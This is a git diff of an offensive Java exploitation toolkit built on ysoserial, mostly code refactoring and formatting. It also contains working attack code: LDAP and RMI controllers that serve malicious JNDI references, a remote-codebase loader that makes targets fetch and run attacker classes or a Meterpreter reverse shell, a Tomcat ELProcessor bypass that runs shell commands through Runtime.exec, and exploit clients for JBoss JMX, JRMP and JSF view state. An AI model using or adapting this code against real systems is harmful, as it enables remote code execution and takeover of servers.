com.unboundid.ldap.sdk.ResultCode; import org.fusesource.jansi.Ansi; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import javax.naming.RefAddr; import javax.naming.Reference; import javax.naming.StringRefAddr; import java.util.Enumeration; -import static org.fusesource.jansi.Ansi.ansi; - @LdapMapping(uri = {"/jdbc2"}) public class jdbcController2 implements LdapController { - private String payloadType; - private String factoryType; - private String[] params; - private GadgetType gadgetType; + private static final Logger log = LoggerFactory.getLogger(jdbcController2.class); + private static String payloadType; + private static String factoryType; + private static String[] params; + private static GadgetType gadgetType; + + public static void printResultJDBC2(String base) throws Exception { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex < 0) thirdIndex = base.length(); + + try { + factoryType = base.substring(secondIndex + 1, thirdIndex); + System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int fourthIndex = base.indexOf("/", thirdIndex + 1); + + if (fourthIndex != -1) { + try { + gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Utils.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); + params = new String[]{cmd}; + } + } @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { try { - Entry e = new Entry(base); + Entry e = new Entry(base); String driver = payloadType; String JDBC_URL = params[0]; @@ -45,65 +83,27 @@ public class jdbcController2 implements LdapController { e.addAttribute("javaFactory", ref.getFactoryClassName()); Enumeration enumeration = ref.getAll(); - int posn = 0; + int sn = 0; while (enumeration.hasMoreElements()) { StringRefAddr addr = (StringRefAddr) enumeration.nextElement(); - e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent()); - posn ++; + e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent()); + sn++; } result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Throwable er) { System.err.println("Error while generating or serializing payload"); - er.printStackTrace(); + log.error(String.valueOf(er)); } } @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { - System.out.println("- JNDI JDBC Refenrence Links Target < JDK20"); + System.out.println("- JNDI JDBC Reference Links Target < JDK20"); try { - base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", fistIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - try { - payloadType = base.substring(fistIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - - int thirdIndex = base.indexOf("/", secondIndex + 1); - if (thirdIndex < 0) thirdIndex = base.length(); - - try { - factoryType = base.substring(secondIndex + 1, thirdIndex); - System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - - int fourthIndex = base.indexOf("/", thirdIndex + 1); - - if (fourthIndex != -1) { - if (fourthIndex < 0) fourthIndex = base.length(); - try { - gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); - } - } - - if (gadgetType == GadgetType.base64) { - String cmd = Util.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset()); - params = new String[]{cmd}; - } - + printResultJDBC2(base); } catch (Exception e) { if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; diff --git a/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java b/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java index 53e0f3a..0e52d81 100644 --- a/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java +++ b/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java @@ -11,14 +11,12 @@ import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.fusesource.jansi.Ansi; -import java.util.Random; - @LdapMapping(uri = {"/ldap2rmi"}) public class ldap2rmiController implements LdapController { - private final String ip = Config.ip; + private final String ip = Config.ip; private final String rmiPort = String.valueOf(Config.rmiPort); - private String path; + private String path; @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { @@ -40,8 +38,7 @@ public class ldap2rmiController implements LdapController { base = base.replace('\\', '/'); int index = base.indexOf('/'); if (index != -1) { - String result = base.substring(index); - path = result; + path = base.substring(index); } } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java b/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java deleted file mode 100644 index 92e5f26..0000000 --- a/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java +++ /dev/null @@ -1,109 +0,0 @@ -package com.qi4l.JYso.controllers.rmi; - -import com.qi4l.JYso.enumtypes.GadgetType; -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.Config.Config; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.InjShell; -import com.qi4l.JYso.gadgets.utils.Util; -import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; -import com.qi4l.JYso.template.CommandTemplate; -import com.qi4l.JYso.template.echoStatic.Meterpreter; -import org.fusesource.jansi.Ansi; - -import javax.naming.Reference; -import java.net.URL; -import java.util.Base64; - -public class Basic { - static String payloadType; - //最后的反斜杠不能少 - static String codebase = Config.codeBase; - static String[] params; - static GadgetType gadgetType; - - public static Reference basic(String base) throws Exception { - System.out.println("- RMI Remote Refenrence Links "); - try { - base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", fistIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - try { - payloadType = base.substring(fistIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - - int thirdIndex = base.indexOf("/", secondIndex + 1); - if (thirdIndex != -1) { - if (thirdIndex < 0) thirdIndex = base.length(); - try { - gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex)); - } - } - - if (gadgetType == GadgetType.base64) { - String cmd = Util.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); - params = new String[]{cmd}; - } - - if (gadgetType == GadgetType.shell) { - String cmd1 = Util.getCmdFromBase(base); - byte[] decodedBytes = Base64.getDecoder().decode(cmd1); - String cmd = new String(decodedBytes); - String[] cmdArray = cmd.split(" "); - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); - params = cmdArray; - } - - if (gadgetType == GadgetType.msf) { - String[] results1 = Util.getIPAndPortFromBase(base); - Config.rhost = results1[0]; - Config.rport = results1[1]; - System.out.println("[+] RemotHost: " + results1[0]); - System.out.println("[+] RemotPort: " + results1[1]); - params = results1; - } - } catch (Exception e) { - if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; - - throw new IncorrectParamsException("Incorrect params >> " + base); - } - String className = ""; - - if (payloadType.contains("E-")) { - String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); - final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1)); - className = EchoClass.getName(); - } - - if (payloadType.contains("M-")) { - String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); - InjShell.init(params); - className = Gadgets.createClassB(ClassName1); - } - - if (payloadType.contains("command")) { - CommandTemplate commandTemplate = new CommandTemplate(params[0]); - commandTemplate.cache(); - className = commandTemplate.getClassName(); - } - - if (payloadType.contains("msf")) { - className = Meterpreter.class.getName(); - } - - String className1 = className.replaceAll("\\.", "/"); - - URL turl = new URL(new URL(codebase), className1 + ".class"); - Reference ref = new Reference("Foo", className1, turl.toString()); - return ref; - } -} diff --git a/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java b/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java deleted file mode 100644 index 5c74386..0000000 --- a/src/main/java/com/qi4l/JYso/controllers/rmi/ELProcessor.java +++ /dev/null @@ -1,144 +0,0 @@ -package com.qi4l.JYso.controllers.rmi; - -import com.qi4l.JYso.enumtypes.GadgetType; -import com.qi4l.JYso.exceptions.IncorrectParamsException; -import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; -import com.qi4l.JYso.gadgets.Config.Config; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.InjShell; -import com.qi4l.JYso.gadgets.utils.Util; -import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; -import org.apache.naming.ResourceRef; -import org.fusesource.jansi.Ansi; - -import javax.naming.StringRefAddr; -import java.io.IOException; -import java.lang.reflect.Field; - -public class ELProcessor { - static String payloadType; - static String[] params; - static GadgetType gadgetType = null; - - public static ResourceRef refTomcatBypass(String base) throws Exception { - // 切割参数 - System.out.println("- JNDI RMI Local Refenrence Links "); - try { - base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", fistIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - try { - payloadType = base.substring(fistIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" PaylaodType: " + payloadType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); - } - - int thirdIndex = base.indexOf("/", secondIndex + 1); - - if (thirdIndex != -1) { - if (thirdIndex < 0) thirdIndex = base.length(); - try { - gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex)); - } - } - - if (gadgetType == GadgetType.base64) { - String cmd = Util.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); - params = new String[]{cmd}; - } - - if (gadgetType == GadgetType.shell) { - String cmd1 = Util.getCmdFromBase(base); - byte[] decodedBytes = Util.base64Decode(cmd1); - String cmd = new String(decodedBytes); - String[] cmdArray = cmd.split(" "); - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); - params = cmdArray; - } - - if (gadgetType == GadgetType.msf) { - String[] results1 = Util.getIPAndPortFromBase(base); - Config.rhost = results1[0]; - Config.rport = results1[1]; - System.out.println("[+] RemotHost: " + results1[0]); - System.out.println("[+] RemotPort: " + results1[1]); - params = results1; - } - } catch (Exception e) { - if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; - - throw new IncorrectParamsException("Incorrect params: " + base); - } - - // 构造ref对象 - ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); - ref.add(new StringRefAddr("forceString", "x=eval")); - String code = null; - - if (payloadType.contains("E-")) { - String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); - final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1)); - code = InjShell.injectClass(EchoClass); - } - - if (payloadType.contains("M-")) { - String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); - InjShell.init(params); - code = Gadgets.createClassT(ClassName1); - } - - if (payloadType.contains("command")) { - code = getExecCode(params[0]); - } - - if (payloadType.contains("meterpreter")) { - code = injectMeterpreter(); - } - - - String payloadTemplate = "{" + - "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + - ".newInstance().getEngineByName(\"JavaScript\")" + - ".eval(\"{replacement}\")" + - "}"; - String finalPayload = payloadTemplate.replace("{replacement}", code); - ref.add(new StringRefAddr("x", finalPayload)); - - return ref; - } - - public static String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { - Class ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter"); - Field WinClassName = ctClazz.getDeclaredField("host"); - WinClassName.setAccessible(true); - WinClassName.set(ctClazz, params[0]); - Field WinclassBody = ctClazz.getDeclaredField("port"); - WinclassBody.setAccessible(true); - WinclassBody.set(ctClazz, params[1]); - return InjShell.injectClass(ctClazz); - } - - public static String getExecCode(String cmd) throws IOException { - - String code = "var strs=new Array(3);\n" + - " if(java.io.File.separator.equals('/')){\n" + - " strs[0]='/bin/bash';\n" + - " strs[1]='-c';\n" + - " strs[2]='" + cmd + "';\n" + - " }else{\n" + - " strs[0]='cmd';\n" + - " strs[1]='/C';\n" + - " strs[2]='" + cmd + "';\n" + - " }\n" + - " java.lang.Runtime.getRuntime().exec(strs);"; - - return code; - } - -} diff --git a/src/main/java/com/qi4l/JYso/controllers/utils/AESUtils.java b/src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java similarity index 68% rename from src/main/java/com/qi4l/JYso/controllers/utils/AESUtils.java rename to src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java index 495e2cc..db237aa 100644 --- a/src/main/java/com/qi4l/JYso/controllers/utils/AESUtils.java +++ b/src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java @@ -6,22 +6,22 @@ import javax.crypto.spec.SecretKeySpec; import java.nio.charset.StandardCharsets; import java.util.Base64; -public class AESUtils { - private static final String ALGORITHM = "AES"; +public class JNDIUtils { + private static final String ALGORITHM = "AES"; private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding"; - private static final int KEY_SIZE = 16; + private static final int KEY_SIZE = 16; public static String decrypt(String ciphertext, String key) throws Exception { - byte[] combinedBytes = Base64.getDecoder().decode(ciphertext); - byte[] ivBytes = new byte[KEY_SIZE]; + byte[] combinedBytes = Base64.getDecoder().decode(ciphertext); + byte[] ivBytes = new byte[KEY_SIZE]; byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE]; System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE); System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length); - byte[] keyBytes = getKeyBytes(key); - SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM); - IvParameterSpec ivSpec = new IvParameterSpec(ivBytes); + byte[] keyBytes = getKeyBytes(key); + SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM); + IvParameterSpec ivSpec = new IvParameterSpec(ivBytes); Cipher cipher = Cipher.getInstance(TRANSFORMATION); cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec); @@ -31,7 +31,7 @@ public class AESUtils { } private static byte[] getKeyBytes(String key) { - byte[] keyBytes = new byte[KEY_SIZE]; + byte[] keyBytes = new byte[KEY_SIZE]; byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8); System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length)); return keyBytes; diff --git a/src/main/java/com/qi4l/JYso/controllers/ysoserial.java b/src/main/java/com/qi4l/JYso/controllers/ysoserial.java index 108e174..8af3faa 100644 --- a/src/main/java/com/qi4l/JYso/controllers/ysoserial.java +++ b/src/main/java/com/qi4l/JYso/controllers/ysoserial.java @@ -13,7 +13,6 @@ import java.io.FileOutputStream; import java.io.OutputStream; import java.util.*; -import static com.qi4l.JYso.gadgets.Config.Config.BASE64; import static com.qi4l.JYso.gadgets.Config.Config.logo; import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword; import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit; @@ -115,27 +114,27 @@ public class ysoserial { Config.IS_Hessian2 = true; } - if(cmdLine.hasOption("XStream")){ + if (cmdLine.hasOption("XStream")) { Config.IS_Xstream = true; } - if(cmdLine.hasOption("Kryo")){ + if (cmdLine.hasOption("Kryo")) { Config.IS_Kryo = true; } - if(cmdLine.hasOption(("JYaml"))){ + if (cmdLine.hasOption(("JYaml"))) { Config.IS_JYAML = true; } - if(cmdLine.hasOption("JsonIO")){ + if (cmdLine.hasOption("JsonIO")) { Config.IS_JsonIO = true; } - if(cmdLine.hasOption("YamlBeans")){ + if (cmdLine.hasOption("YamlBeans")) { Config.IS_YamlBeans = true; } - if(cmdLine.hasOption("Castor")){ + if (cmdLine.hasOption("Castor")) { Config.IS_Castor = true; } - if(cmdLine.hasOption("Jackson")){ + if (cmdLine.hasOption("Jackson")) { Config.IS_Jackson = true; } @@ -156,7 +155,7 @@ public class ysoserial { } final String payloadType = cmdLine.getOptionValue("gadget"); - final String command = cmdLine.getOptionValue("parameters"); + final String command = cmdLine.getOptionValue("parameters"); //载入gadget final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); if (payloadClass == null) { @@ -170,11 +169,11 @@ public class ysoserial { try { //载入payload ObjectPayload payload = payloadClass.newInstance(); - Object object = payload.getObject(command); + Object object = payload.getObject(command); // 是否指定混淆 if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) { - int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type")); + int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type")); int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length")); object = new DirtyDataWrapper(object, type, length).doWrap(); } @@ -192,7 +191,7 @@ public class ysoserial { } else { out = System.out; } - Serializer.qiserialize(object, out,payloadType,command); + Serializer.qiserialize(object, out, payloadType, command); ObjectPayload.Utils.releasePayload(payload, object); out.flush(); out.close(); @@ -203,6 +202,7 @@ public class ysoserial { } System.exit(0); } + private static Options getOptions() { Options options = new Options(); options.addOption("y", "ysoserial", false, "Java deserialization"); @@ -234,8 +234,8 @@ public class ysoserial { options.addOption("xs", "XStream", false, "Xstream Output"); options.addOption("kryo", "Kryo", false, "Kryo Output"); options.addOption("jy", "JYaml", false, "JYaml Output"); - options.addOption("js","JsonIO", false, "JsonIO Output"); - options.addOption("yb","YamlBeans", false, "YamlBeans Output"); + options.addOption("js", "JsonIO", false, "JsonIO Output"); + options.addOption("yb", "YamlBeans", false, "YamlBeans Output"); options.addOption("ca", "Castor", false, "Castor Output"); options.addOption("jk", "Jackson", false, "Jackson Output"); return options; diff --git a/src/main/java/com/qi4l/JYso/exploit/JBoss.java b/src/main/java/com/qi4l/JYso/exploit/JBoss.java index 1bfd8c7..1be65a5 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JBoss.java +++ b/src/main/java/com/qi4l/JYso/exploit/JBoss.java @@ -1,10 +1,9 @@ package com.qi4l.JYso.exploit; -import static com.qi4l.JYso.controllers.ysoserial.ysoserial; import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.gadgets.utils.Reflections; -import org.jboss.remoting3.Connection; import org.jboss.remoting3.*; +import org.jboss.remoting3.Connection; import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory; import org.jboss.remoting3.spi.*; import org.jboss.remotingjmx.VersionedConnection; @@ -33,6 +32,8 @@ import java.util.Set; import java.util.concurrent.*; import java.util.logging.*; +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; + /** * An exploitation client for JBoss AS/Wildfly JMX @@ -97,11 +98,11 @@ public class JBoss { private static void doRun(URI u, final Object payloadObject, String username, String password) { - ConnectionProvider instance = null; - ConnectionProviderContextImpl context = null; - ConnectionHandler ch = null; - Channel c = null; - VersionedConnection vc = null; + ConnectionProvider instance = null; + ConnectionProviderContextImpl context = null; + ConnectionHandler ch = null; + Channel c = null; + VersionedConnection vc = null; try { Logger logger = LogManager.getLogManager().getLogger(""); logger.addHandler(new ConsoleLogHandler()); @@ -109,10 +110,10 @@ public class JBoss { OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap(); context = new ConnectionProviderContextImpl(options, "endpoint"); instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options); - String host = u.getHost(); - int port = u.getPort() > 0 ? u.getPort() : 9990; - SocketAddress destination = new InetSocketAddress(host, port); - ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); + String host = u.getHost(); + int port = u.getPort() > 0 ? u.getPort() : 9990; + SocketAddress destination = new InetSocketAddress(host, port); + ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); ch = chf.createInstance(new ConnectionHandlerContextImpl(context)); c = getChannel(context, ch, options); System.err.println("Connected"); @@ -166,8 +167,8 @@ public class JBoss { private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password, ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options) throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { - XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); - FutureResult result = new FutureResult(); + XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); + FutureResult result = new FutureResult(); instance.connect(null, destination, options, result, new CallbackHandler() { public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException { @@ -188,7 +189,7 @@ public class JBoss { System.err.println("waiting for connection"); IoFuture ioFuture = result.getIoFuture(); - Status s = ioFuture.await(5, TimeUnit.SECONDS); + Status s = ioFuture.await(5, TimeUnit.SECONDS); if (s == Status.FAILED) { System.err.println("Cannot connect"); if (ioFuture.getException() != null) { @@ -205,12 +206,12 @@ public class JBoss { } private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException { - Channel c; + Channel c; FutureResult chResult = new FutureResult(context.getExecutor()); ch.open("jmx", chResult, options); IoFuture cFuture = chResult.getIoFuture(); - Status s2 = cFuture.await(); + Status s2 = cFuture.await(); if (s2 == Status.FAILED) { System.err.println("Cannot connect"); if (cFuture.getException() != null) { @@ -229,8 +230,8 @@ public class JBoss { private static VersionedConnection makeVersionedConnection(Channel c) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { VersionedConnection vc; - Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); - Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); + Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); + Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); Reflections.setAccessible(vcCreate); vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); return vc; @@ -254,13 +255,13 @@ public class JBoss { } catch (Throwable e) { String msg = e.getMessage(); if (msg.startsWith("java.lang.ClassNotFoundException:")) { - int start = msg.indexOf('"'); - int stop = msg.indexOf('"', start + 1); + int start = msg.indexOf('"'); + int stop = msg.indexOf('"', start + 1); String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : ""; if (!"".equals(module) && !"org.jboss.as.jmx:main".equals(module)) { - int cstart = msg.indexOf(':'); - int cend = msg.indexOf(' ', cstart + 2); - String cls = msg.substring(cstart + 2, cend); + int cstart = msg.indexOf(':'); + int cend = msg.indexOf(' ', cstart + 2); + String cls = msg.substring(cstart + 2, cend); System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")"); } } else { diff --git a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java index 1288f75..6957e7c 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java +++ b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java @@ -1,6 +1,5 @@ package com.qi4l.JYso.exploit; -import static com.qi4l.JYso.controllers.ysoserial.ysoserial; import com.qi4l.JYso.controllers.ysoserial; import javax.management.MBeanServerConnection; @@ -9,6 +8,8 @@ import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; + /** * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. @@ -24,7 +25,7 @@ public class JMXInvokeMBean { JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); - JMXConnector jmxConnector = JMXConnectorFactory.connect(url); + JMXConnector jmxConnector = JMXConnectorFactory.connect(url); MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); // 去除前两个参数 diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java index de65290..d56b18e 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java @@ -1,6 +1,5 @@ package com.qi4l.JYso.exploit; -import static com.qi4l.JYso.controllers.ysoserial.ysoserial; import com.qi4l.JYso.controllers.ysoserial; import sun.rmi.transport.TransportConstants; @@ -11,6 +10,8 @@ import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.*; +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; + /** * Generic JRMP client *

@@ -32,7 +33,7 @@ public class JRMPClient { } String hostname = args[0]; - int port = Integer.parseInt(args[1]); + int port = Integer.parseInt(args[1]); // 去除前两个参数 String[] newArray = new String[args.length - 2]; @@ -51,8 +52,8 @@ public class JRMPClient { public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException { InetSocketAddress isa = new InetSocketAddress(hostname, port); - Socket s = null; - DataOutputStream dos = null; + Socket s = null; + DataOutputStream dos = null; try { s = SocketFactory.getDefault().createSocket(hostname, port); s.setKeepAlive(true); @@ -111,7 +112,7 @@ public class JRMPClient { } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { writeObject(null); } else { - URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); + URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); String cb = ""; for (URL u : us) { diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java index 0226fe6..4ecfda3 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java @@ -1,7 +1,5 @@ package com.qi4l.JYso.exploit; -import static com.qi4l.JYso.controllers.ysoserial.ysoserial; - import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.gadgets.utils.Reflections; import javassist.ClassClassPath; @@ -18,6 +16,8 @@ import java.rmi.server.ObjID; import java.rmi.server.UID; import java.util.Arrays; +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; + /** * Generic JRMP listener @@ -137,13 +137,13 @@ public class JRMPListener implements Runnable { InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); System.err.println("Have connection from " + remote); - InputStream is = s.getInputStream(); + InputStream is = s.getInputStream(); InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); // Read magic (or HTTP wrapper) bufIn.mark(4); - DataInputStream in = new DataInputStream(bufIn); - int magic = in.readInt(); + DataInputStream in = new DataInputStream(bufIn); + int magic = in.readInt(); short version = in.readShort(); if (magic != TransportConstants.Magic || version != TransportConstants.Version) { @@ -151,9 +151,9 @@ public class JRMPListener implements Runnable { continue; } - OutputStream sockOut = s.getOutputStream(); - BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); - DataOutputStream out = new DataOutputStream(bufOut); + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + DataOutputStream out = new DataOutputStream(bufOut); byte protocol = in.readByte(); switch (protocol) { diff --git a/src/main/java/com/qi4l/JYso/exploit/JSF.java b/src/main/java/com/qi4l/JYso/exploit/JSF.java index 6ede079..ca1abe8 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JSF.java +++ b/src/main/java/com/qi4l/JYso/exploit/JSF.java @@ -1,6 +1,5 @@ package com.qi4l.JYso.exploit; -import static com.qi4l.JYso.controllers.ysoserial.ysoserial; import com.qi4l.JYso.controllers.ysoserial; import org.apache.commons.codec.binary.Base64; @@ -12,6 +11,8 @@ import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; + /** * JSF view state exploit @@ -61,10 